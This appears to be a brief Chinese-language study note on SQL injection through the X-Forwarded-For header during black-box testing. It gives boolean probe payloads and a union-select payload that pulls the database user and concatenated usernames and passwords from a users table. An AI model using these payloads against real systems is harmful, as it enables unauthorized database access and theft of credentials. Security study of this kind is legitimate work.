原理
代码审计
黑盒测试下的xff注入攻击
在报文头部插入
X-Forwardcd-for:127.0.0.1'and 1=1#
插入
X-Forwardcd-for:127.0.0.1'and 1=2#
两次结果不一样，存在注入点
确认注入点
这里有四个注入点
进行联合查询
X-Forwardcd-for:-127.0.0.1'union select 1,2,user(),(select concat(username,password) from users limit 1)#
